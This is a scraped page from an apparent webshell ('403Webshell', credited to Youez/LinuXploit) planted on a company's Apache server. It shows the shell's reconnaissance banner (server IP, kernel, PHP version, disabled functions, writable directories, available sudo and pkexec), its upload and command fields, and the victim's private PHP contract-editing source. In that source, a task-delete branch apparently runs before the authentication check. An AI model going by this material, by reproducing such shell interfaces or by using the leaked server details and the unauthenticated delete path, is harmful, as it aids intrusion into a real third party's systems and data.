403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/onesupport/contract/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/onesupport/contract//modify.php
<?php

	$nowdate = date("Y-m-d H:i:s");

	//for delete the task, using ajax
	if(!empty($_POST["delete_task_id"])){

		require ('../inc/configure.php');
		//only can de
		$sql      = "UPDATE sup_period_task set deleted=?, lastupdate=?, lastupby=? where ptask_id=? ";

		$parameters = array("1", $nowdate, $_SESSION['webadmin']['id'], (int)$_POST["delete_task_id"], );
		if (!($sth = $dbh->prepare($sql))) {
			throw new Exception("sql prepare statement failure: $sql");
		}
		$sth->setFetchMode(PDO::FETCH_ASSOC);
		if (!$sth->execute($parameters)) {
			throw new Exception("sql execute statement failure: $sql");
		}

		$_contract_id = $_POST["contract_id"];
		exit;
	}

	//checking here
	$schedulecall = 0;
	if (!empty($_POST["schedule_call_3hrs"])) {
		$schedulecall++;
	}
	if (!empty($_POST["schedule_call_half_day"])) {
		$schedulecall++;
	}
	if (!empty($_POST["schedule_call_full_day"])) {
		$schedulecall++;
	}

	if ($schedulecall > 1) { //only one type of schedule call is allowed
		echo "<script>alert('Only one option is allowed in Schedule Call!');history.back();</script>";
		exit;
	}

	//if(strtotime($_POST["contract_from"]) > strtotime($_POST["contract_to"])){
	if(strtotime($_POST["date_from"]) > strtotime($_POST["date_to"])){
		echo "<script>alert('Contract From Date should before the Contract To Date!');history.back();</script>";
		exit;
	}

	require_once(__DIR__ . '/../checkuser.php');
//-----------------------------------------------------------------------------
// Save if POST method
//-----------------------------------------------------------------------------
	if (isPost()) {
		if (!$dbh->beginTransaction()) {
			throw new Exception('mysql begin transaction failure.');
		}
		try {

			$post = $_POST;

			$sql        = "SELECT column_name FROM information_schema.columns WHERE table_schema = (SELECT DATABASE()) AND table_name = ?";
			$parameters = array('sup_contract');
			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters)) {
				throw new Exception("sql execute statement failure: $sql");
			}
			$columns = $sth->fetchAll();

			foreach ($columns as $column) {
				$column = $column['column_name'];
				if (isset($post[$column])) {
					$contract[$column] = $post[$column];
				}
			}

			// Append record time
			$now      = date("Y-m-d H:i:s");
			$contract = array_merge($contract, array(
				'lastupdate' => $now,
				'lastupby'   => $_SESSION['webadmin']['id'],
			));

			// Update contract
			$values     = array();
			$parameters = array();
			foreach ($contract as $column => $value) {
				if ($column != 'contract_id') {
					$parameters[] = !strlen($value) ? null : $value;
					$values[]     = "`$column` = ?";
				}
			}
			$sql          = "UPDATE sup_contract SET " . implode(', ', $values) . " WHERE contract_id = ?";
			$parameters[] = $contract['contract_id'];
			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute($parameters)) {
				throw new Exception("sql execute statement failure: $sql");
			}

			$_SESSION["remark_contract_id"] = $contract['contract_id'];


			//update the previous record with correct time

			$sql = "UPDATE sup_contract SET `contract_from` = ?, `contract_to` = ? WHERE contract_id = ?";

			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception("sql prepare statement failure: $sql");
			}
			$sth->setFetchMode(PDO::FETCH_ASSOC);
			if (!$sth->execute(array($_POST["date_from"], $_POST["date_to"], $contract['contract_id']))) {
				throw new Exception("sql execute statement failure: $sql");
			}


			if($contract["contract_type"] == 1){
				//for update the current task use
				$task_category_id = $_POST["task_category_id"];
				$remarks = $_POST["task_remarks"];
				$titles = $_POST["task_title"];
				$task_ids = $_POST["task_id"];
				$status = $_POST["task_status"];
				$completed_date = $_POST["task_completed_date"];
				$task_start_date = $_POST["task_start_date"];
				$task_end_date = $_POST["task_end_date"];

				foreach ($task_ids as $key => $task_id) {
					$_task_category_id = $task_category_id[$task_id];
					$_title   = $titles[$task_id];
					$_remarks =$remarks[$task_id];
					$_status = $status[$task_id];
					$_completed_date = $completed_date[$task_id];
					$_start_date = $task_start_date[$task_id];
					$_end_date = $task_end_date[$task_id];

					if($_status == 2){
						$_completed_date = date("Y-m-d");
					}else{
						$_completed_date = $completed_date[$task_id];
					}

					$sql      = "UPDATE sup_period_task set task_category_id=?, task_title=?, task_remarks=?, status=?, completed_date=?,start_date=?, end_date=?, lastupdate=?, lastupby=? where ptask_id=? ";

					$parameters = array($_task_category_id, $_title, $_remarks, $_status, $_completed_date,$_start_date, $_end_date, $nowdate, $_SESSION['webadmin']['id'], $task_id);

					if (!($sth = $dbh->prepare($sql))) {
						throw new Exception("sql prepare statement failure: $sql");
					}
					$sth->setFetchMode(PDO::FETCH_ASSOC);
					if (!$sth->execute($parameters)) {
						throw new Exception("sql execute statement failure: $sql");
					}

				}


			}



			if (!$dbh->commit()) {
				throw new Exception('mysql commit transaction failure.');
			}
		} catch (Exception $exception) {
			if (!$dbh->rollBack()) {
				throw new Exception('mysql roll back transaction failure.');
			}
			throw $exception;
		}

		redirectAndExit('index.php?message=Contract Saved.');
	}

Youez - 2016 - github.com/yon3zu
LinuXploit